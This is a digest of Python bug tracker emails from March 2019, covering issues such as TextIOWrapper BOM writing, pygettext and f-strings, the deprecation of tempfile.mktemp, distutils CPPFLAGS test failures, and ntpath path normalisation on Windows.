Subject: [issue7671] test_popen fails if path contains special char like ";"
In-Reply-To: <1263150436.77.0.15262763131.issue7671@psf.upfronthosting.co.za>
Message-ID: <1552694863.77.0.313414218068.issue7671@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7671>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:08:09 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:08:09 +0000
Subject: [issue15748] Various symlink test failures in test_shutil on FreeBSD
In-Reply-To: <1345516038.44.0.114148239105.issue15748@psf.upfronthosting.co.za>
Message-ID: <1552694889.05.0.50005990223.issue15748@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15748>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:08:32 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:08:32 +0000
Subject: [issue12771] 2to3 -d adds extra whitespace
In-Reply-To: <1313593187.97.0.649094225681.issue12771@psf.upfronthosting.co.za>
Message-ID: <1552694912.52.0.997641040694.issue12771@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12771>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:08:57 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:08:57 +0000
Subject: [issue14322] More test coverage for hmac
In-Reply-To: <1331831609.33.0.520236800519.issue14322@psf.upfronthosting.co.za>
Message-ID: <1552694937.91.0.339775237484.issue14322@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14322>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:09:20 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:09:20 +0000
Subject: [issue13231] sys.settrace - document 'some other code blocks' for
 'call' event type
In-Reply-To: <1319096421.5.0.420840017987.issue13231@psf.upfronthosting.co.za>
Message-ID: <1552694960.42.0.87749954882.issue13231@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13231>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:09:54 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:09:54 +0000
Subject: [issue17126] test_gdb fails
In-Reply-To: <1360000320.96.0.343533657729.issue17126@psf.upfronthosting.co.za>
Message-ID: <1552694994.71.0.381137800557.issue17126@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17126>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:10:18 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:10:18 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1552695018.29.0.406672690344.issue8677@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:10:42 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:10:42 +0000
Subject: [issue16784] Int tests enhancement and refactoring
In-Reply-To: <1356518001.26.0.44673058371.issue16784@psf.upfronthosting.co.za>
Message-ID: <1552695042.36.0.156082786851.issue16784@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16784>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:11:02 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:11:02 +0000
Subject: [issue13554] Tkinter doesn't use higher resolution app icon
In-Reply-To: <1323308666.66.0.322569696678.issue13554@psf.upfronthosting.co.za>
Message-ID: <1552695062.51.0.537132563293.issue13554@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13554>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:11:22 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:11:22 +0000
Subject: [issue16117] python2.7.3 struct misaligned when returned
In-Reply-To: <1349256639.78.0.287581020931.issue16117@psf.upfronthosting.co.za>
Message-ID: <1552695082.79.0.57645836922.issue16117@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16117>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:11:55 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:11:55 +0000
Subject: [issue13855] Add qualname support to types.FunctionType
In-Reply-To: <1327436087.83.0.0965982153281.issue13855@psf.upfronthosting.co.za>
Message-ID: <1552695115.84.0.955650585849.issue13855@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13855>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:12:16 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:12:16 +0000
Subject: [issue10417] unittest triggers UnicodeEncodeError with non-ASCII
 character in the docstring of the test function
In-Reply-To: <1289739891.46.0.690681439003.issue10417@psf.upfronthosting.co.za>
Message-ID: <1552695136.97.0.425955908729.issue10417@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10417>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:12:37 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:12:37 +0000
Subject: [issue14453] profile.Profile.calibrate can produce incorrect numbers
 in some circumstances
In-Reply-To: <1333125926.46.0.263686437427.issue14453@psf.upfronthosting.co.za>
Message-ID: <1552695157.07.0.656439494369.issue14453@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14453>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:12:58 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:12:58 +0000
Subject: [issue14189] Documentation for some C APIs is missing clear
 specification of the type of reference they return
In-Reply-To: <1330834739.26.0.103894619612.issue14189@psf.upfronthosting.co.za>
Message-ID: <1552695178.25.0.539507463552.issue14189@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14189>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:13:17 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:13:17 +0000
Subject: [issue13946] readline completer could return an iterable
In-Reply-To: <1328471281.77.0.152059916947.issue13946@psf.upfronthosting.co.za>
Message-ID: <1552695197.68.0.106760815129.issue13946@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13946>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:13:36 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:13:36 +0000
Subject: [issue14788] Pdb debugs itself after ^C and a breakpoint is set
 anywhere
In-Reply-To: <1336817257.9.0.505200749782.issue14788@psf.upfronthosting.co.za>
Message-ID: <1552695216.73.0.732301580253.issue14788@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14788>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:13:59 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:13:59 +0000
Subject: [issue14743] on terminating, Pdb debugs itself
In-Reply-To: <1336420111.44.0.550150061213.issue14743@psf.upfronthosting.co.za>
Message-ID: <1552695239.63.0.2869591083.issue14743@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14743>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:14:22 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:14:22 +0000
Subject: [issue14934] generator objects can clear their weakrefs before being
 resurrected
In-Reply-To: <1338211208.4.0.755454859587.issue14934@psf.upfronthosting.co.za>
Message-ID: <1552695262.73.0.238096583463.issue14934@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14934>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:15:09 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:15:09 +0000
Subject: [issue6253] optparse.OptionParser.get_usage uses wrong formatter
In-Reply-To: <1244644097.18.0.346116774289.issue6253@psf.upfronthosting.co.za>
Message-ID: <1552695309.92.0.525461376987.issue6253@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6253>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:15:29 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:15:29 +0000
Subject: [issue10374] distutils[2] should recreate scripts in the build tree
In-Reply-To: <1289308289.62.0.579780588392.issue10374@psf.upfronthosting.co.za>
Message-ID: <1552695329.6.0.793507739413.issue10374@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10374>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:24:42 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 16 Mar 2019 00:24:42 +0000
Subject: [issue36304] When using bz2 and lzma in mode 'wt',
 the BOM is not written
In-Reply-To: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>
Message-ID: <1552695882.97.0.289154472116.issue36304@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

I suspect this is caused by TextIOWrapper guessing if it is writing the start of a file versus in the middle, and being confused by ?seekable? returning False. GzipFile implements some ?seek? calls in write mode, but LZMAFile and BZ2File do not.

Using this test class:

class Writer(BufferedIOBase):
    def writable(self):
        return True
    def __init__(self, offset):
        self.offset = offset
    def seekable(self):
        result = self.offset is not None
        print('seekable ->', result)
        return result
    def tell(self):
        print('tell ->', self.offset)
        return self.offset
    def write(self, data):
        print('write', repr(data))

a BOM is inserted when ?tell? returns zero:

>>> t = io.TextIOWrapper(Writer(0), 'utf-16')
seekable -> True
tell -> 0
>>> t.write('HI'); t.flush()  # Writes BOM
2
write b'\xff\xfeH\x00I\x00'

and not when ?tell? returns a positive number:

>>> t = io.TextIOWrapper(Writer(1), 'utf-16')
seekable -> True
tell -> 1
>>> t.write('HI'); t.flush()  # Omits BOM
2
write b'H\x00I\x00'

However the ?io? and ?_pyio? behaviours differ when ?seekable? returns False:

>>> t = io.TextIOWrapper(Writer(None), 'utf-16')
seekable -> False
>>> t.write('HI'); t.flush()  # io omits BOM
2
write b'H\x00I\x00'
>>> t = _pyio.TextIOWrapper(Writer(None), 'utf-16')
seekable -> False
>>> t.write('HI'); t.flush()  # _pyio writes BOM
write b'\xff\xfeH\x00I\x00'
2

IMO the ?_pyio? behaviour is more sensible: write a BOM because that?s what the UTF-16 codec produces.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:49:05 2019
From: report at bugs.python.org (John Hagen)
Date: Sat, 16 Mar 2019 00:49:05 +0000
Subject: [issue36309] Remove tempfile.mktemp()
Message-ID: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>


New submission from John Hagen <johnthagen at gmail.com>:

tempfile.mktemp has been deprecated since Python 2.3 and has security concerns attached to it. Is it time that this is finally removed?

https://docs.python.org/3/library/tempfile.html#tempfile.mktemp

----------
components: Library (Lib)
messages: 338046
nosy: John Hagen
priority: normal
severity: normal
status: open
title: Remove tempfile.mktemp()
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:56:18 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 16 Mar 2019 00:56:18 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552697778.89.0.823878402835.issue36307@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

There is an open issue with PR for openssl upgrade . Please see https://bugs.python.org/issue34631

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 21:02:50 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Sat, 16 Mar 2019 01:02:50 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552698170.81.0.602755777914.issue36307@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

Ah yes, I actually saw that before opening this issue; not sure why I completely forgot about it. Sorry about that and thanks for the reminder.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 22:07:27 2019
From: report at bugs.python.org (Allie Fitter)
Date: Sat, 16 Mar 2019 02:07:27 +0000
Subject: [issue36310] pygettext3.7 Does Not Recognize gettext Calls Within
 fstrings
Message-ID: <1552702047.72.0.770409871236.issue36310@roundup.psfhosted.org>


New submission from Allie Fitter <fitterj at gmail.com>:

pygettext can't see gettext functions calls when they're inside of an fstring:

foo.py

    from gettext import gettext as _
    
    foo = f'{_("foo bar baz")}'

Running `pygettext3.7 -kgt -d message -D -v -o locales/message.pot foo.py` results in:

locale/message.pot
    # SOME DESCRIPTIVE TITLE.
    # Copyright (C) YEAR ORGANIZATION
    # FIRST AUTHOR <EMAIL at ADDRESS>, YEAR.
    #
    msgid ""
    msgstr ""
    "Project-Id-Version: PACKAGE VERSION\n"
    "POT-Creation-Date: 2019-03-15 21:02-0500\n"
    "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
    "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
    "Language-Team: LANGUAGE <LL at li.org>\n"
    "MIME-Version: 1.0\n"
    "Content-Type: text/plain; charset=UTF-8\n"
    "Content-Transfer-Encoding: 8bit\n"
    "Generated-By: pygettext.py 1.5\n"

Change foo.py to:

    from gettext import gettext as _
    
    foo = f'' + _("foo bar baz") + ''


Results in:

    # SOME DESCRIPTIVE TITLE.
    # Copyright (C) YEAR ORGANIZATION
    # FIRST AUTHOR <EMAIL at ADDRESS>, YEAR.
    #
    msgid ""
    msgstr ""
    "Project-Id-Version: PACKAGE VERSION\n"
    "POT-Creation-Date: 2019-03-15 21:05-0500\n"
    "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
    "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
    "Language-Team: LANGUAGE <LL at li.org>\n"
    "MIME-Version: 1.0\n"
    "Content-Type: text/plain; charset=UTF-8\n"
    "Content-Transfer-Encoding: 8bit\n"
    "Generated-By: pygettext.py 1.5\n"
    
    
    #: foo.py:3
    msgid "foo bar baz"
    msgstr ""


Running on Ubuntu 18.04.

----------
components: Demos and Tools
messages: 338049
nosy: Allie Fitter
priority: normal
severity: normal
status: open
title: pygettext3.7 Does Not Recognize gettext Calls Within fstrings
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36310>
_______________________________________

From report at bugs.python.org  Fri Mar 15 22:31:09 2019
From: report at bugs.python.org (Joshua Jay Herman)
Date: Sat, 16 Mar 2019 02:31:09 +0000
Subject: [issue36184] [EASY] test_gdb.test_threads() is specific to
 _POSIX_THREADS, fail on FreeBSD
In-Reply-To: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>
Message-ID: <1552703469.66.0.669244476797.issue36184@roundup.psfhosted.org>


Joshua Jay Herman <zitterbewegung at gmail.com> added the comment:

So I changed 'pthread_cond_timedwait' to 'take_gil' and this didn't seem to have an effect on the unit test.

I installed GDB 8.2 is that the same version you are using?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Fri Mar 15 23:48:40 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Sat, 16 Mar 2019 03:48:40 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552708120.92.0.429853146318.issue36235@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

After this patch, test_distutils failed if $CPPFLAGS is not empty when building CPython. For example:

$ export CPPFLAGS=-DFOO=BAR
$ ./configure
$ make
$ ./python -m test test_distutils   
Run tests sequentially
0:00:00 load avg: 0.45 [1/1] test_distutils
test test_distutils failed -- Traceback (most recent call last):
  File "/home/yen/Projects/cpython/Lib/distutils/tests/test_sysconfig.py", line 99, in test_customize_compiler
    self.assertEqual(comp.exes['compiler'], 'my_cc --sysconfig-cflags --mycflags')
AssertionError: 'my_cc --sysconfig-cflags --mycflags -DFOO=BAR' != 'my_cc --sysconfig-cflags --mycflags'
- my_cc --sysconfig-cflags --mycflags -DFOO=BAR
?                                    ----------
+ my_cc --sysconfig-cflags --mycflags


test_distutils failed

== Tests result: FAILURE ==

1 test failed:
    test_distutils

Total duration: 2 sec 192 ms
Tests result: FAILURE

Tested with commit d2fdd1fedf6b9dc785cf5025b548a989faed089a.

This is an issue as Arch Linux uses CPPFLAGS="-D_FORTIFY_SOURCE=2" for creating packages [1].

[1] https://git.archlinux.org/svntogit/packages.git/tree/trunk/makepkg.conf?h=packages/pacman#n39

----------
nosy: +yan12125

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar 15 23:57:00 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 16 Mar 2019 03:57:00 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1552708620.86.0.738016685722.issue36138@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:


New changeset f40b4a0b6277b2779b9ded3736325489f2af93e4 by Nick Coghlan (Yasser A) in branch 'master':
bpo-36138: Clarify docs about converting datetime.timedelta to scalars. (GH-12137)
https://github.com/python/cpython/commit/f40b4a0b6277b2779b9ded3736325489f2af93e4


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Fri Mar 15 23:57:57 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 16 Mar 2019 03:57:57 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1552708677.59.0.628075513783.issue36138@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12329

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Sat Mar 16 00:03:46 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 16 Mar 2019 04:03:46 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1552709026.22.0.50503351885.issue36138@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset e213cd6325f2d6f116b6c3dce109cdf21f6263d5 by Miss Islington (bot) in branch '3.7':
bpo-36138: Clarify docs about converting datetime.timedelta to scalars. (GH-12137)
https://github.com/python/cpython/commit/e213cd6325f2d6f116b6c3dce109cdf21f6263d5


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Sat Mar 16 00:47:31 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 16 Mar 2019 04:47:31 +0000
Subject: [issue3905] subprocess failing in GUI applications on Windows
In-Reply-To: <1221779222.6.0.581055626962.issue3905@psf.upfronthosting.co.za>
Message-ID: <1552711651.39.0.25913024079.issue3905@roundup.psfhosted.org>


Change by Eryk Sun <eryksun at gmail.com>:


----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3905>
_______________________________________

From report at bugs.python.org  Sat Mar 16 01:34:12 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 16 Mar 2019 05:34:12 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1552714452.17.0.780686096074.issue36138@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

I've merged Yasser's PR (thank you!), but in the review discussion for that, we noticed something else: the `total_seconds()` documentation mentions the floating point dynamic resolution problem, but doesn't mention using `//` or `divmod()` as the fix for that, while the operator table doesn't mention the dynamic resolution problem at all.

So I haven't closed the issue yet, as fixing that feel in-scope for this issue, even though I didn't want to hold up the initial PR for it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Sat Mar 16 02:25:33 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 06:25:33 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552717533.07.0.930372260541.issue36287@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

None can not be ignored in Constant(value=None). [] can not be ignored in Tuple(elts=[]).

There is also a problem with using ast.dump() with annotate_fields=False:

>>> from ast import *
>>> dump(Raise(cause=Name(id='B', ctx=Load())), annotate_fields=False)
"Raise(Name('B', Load()))"
>>> dump(Raise(Name('B', Load())))
"Raise(exc=Name(id='B', ctx=Load()))"

For Raise(cause=X) it outputs a string which is evaluated to Raise(exc=X).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Sat Mar 16 03:02:37 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 16 Mar 2019 07:02:37 +0000
Subject: [issue3905] subprocess failing in GUI applications on Windows
In-Reply-To: <1221779222.6.0.581055626962.issue3905@psf.upfronthosting.co.za>
Message-ID: <1552719757.28.0.576719270683.issue3905@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I reran test with IDLE started 4 ways:
I am closing this as out of date because the problem seems to have been fixed elsewise.

3.8.0a2+ 32 bit debug python, built today, opened from python icon, then idle started with 'import idlelib.idle'
3.8.0a2 64 bit installed, directly from IDLE icon
3.7.2 python -m idlelib
3.7.2 pythonw -m idlelib

#  and it ran correctly all 4 times.
>>> import subprocess
>>> p = subprocess.Popen(["python", "-c", "print(32)"], stdin=None,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
>>> p.communicate()
(b'32\r\n', b'')

Anyone with the same or similar failure on current Python (now 3.7, 3.8) should open a new issue and give careful details -- release or build, system, startup procedure, and a reproducing example only using stdlib modules (no PythonWin).

----------
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3905>
_______________________________________

From report at bugs.python.org  Sat Mar 16 03:18:54 2019
From: report at bugs.python.org (Windson Yang)
Date: Sat, 16 Mar 2019 07:18:54 +0000
Subject: [issue14934] generator objects can clear their weakrefs before being
 resurrected
In-Reply-To: <1338211208.4.0.755454859587.issue14934@psf.upfronthosting.co.za>
Message-ID: <1552720734.85.0.828801099705.issue14934@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

In the docs https://docs.python.org/3/extending/newtypes.html#weak-reference-support points out:

> /* Clear weakrefs first before calling any destructors */

So maybe we should also update the docs after fix this bug. Anyway, I will try to understand/fix this bug.

----------
nosy: +Windson Yang
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14934>
_______________________________________

From report at bugs.python.org  Sat Mar 16 03:20:37 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 16 Mar 2019 07:20:37 +0000
Subject: [issue15286] normpath does not work with local literal paths
In-Reply-To: <1341679642.43.0.277228630346.issue15286@psf.upfronthosting.co.za>
Message-ID: <1552720837.34.0.60718626693.issue15286@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

For issue 7909, ntpath.normpath was modified to return the path unchanged if it begins with exactly either "\\\\.\\" or "\\\\?\\". Normalization is not skipped, however, if the prefix has one or more forward slashes instead of all backslashes. In this case, we can see that the old issue (e.g. \\.\nul -> \\nul) is no longer a problem. 

    >>> os.path.normpath('//./nul')
    '\\\\.\\nul'

Thus we can and should remove the check for `special_prefixes`.

Not normalizing local-device paths is inconsistent with WINAPI GetFullPathNameW (i.e. ntpath.abspath in Windows). Local-device paths are always normalized by the system when it's explicitly requested to do so. \\?\ local-device paths (with only backslash in the prefix) are only special cased to bypass normalization when creating or opening a file.

Also, it probably needs a separate issue, but ntpath.normpath should strip trailing spaces and dots from the final (or only) component for the sake of consistency with ntpath.abspath in Windows (where it calls GetFullPathNameW). For example:

    >>> os.path.normpath(r'//?/C:\test . . .')
    '\\\\?\\C:\\test . . .'
    >>> os.path.abspath(r'//?/C:\test . . .')
    '\\\\?\\C:\\test'

This normalization rule is common to all path types and all Windows versions. It should be supported for both ntpath.normpath and ntpath.abspath when called on a non-Windows platform. If an actual file or directory name ends with trailing dots and spaces, it is not a normal Windows path, and it should not be normalized.

----------
nosy: +eryksun
versions: +Python 3.7, Python 3.8 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15286>
_______________________________________

From report at bugs.python.org  Sat Mar 16 03:32:12 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 16 Mar 2019 07:32:12 +0000
Subject: [issue4071] ntpath.abspath fails for long str paths
In-Reply-To: <1223425635.48.0.940202056696.issue4071@psf.upfronthosting.co.za>
Message-ID: <1552721532.86.0.629315658129.issue4071@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

I'm closing this as a resolved issue. Python 2 is approaching end of life, and I don't see a pressing need for my suggestion in msg237007. We should be using unicode for paths in Windows anyway since its file systems are natively Unicode.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4071>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:00:48 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 16 Mar 2019 08:00:48 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552723248.51.0.771059934392.issue34160@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

FWIW, I second Raymond's opposition against a new option. It's really not something that users should care about. Instead of us providing a new "sort or not" option, and people adding it (conditionally!) to their code to "fix" previous or future behaviour of the tool, they should better invest the time into fixing their code to not rely on behaviour that was never guaranteed.

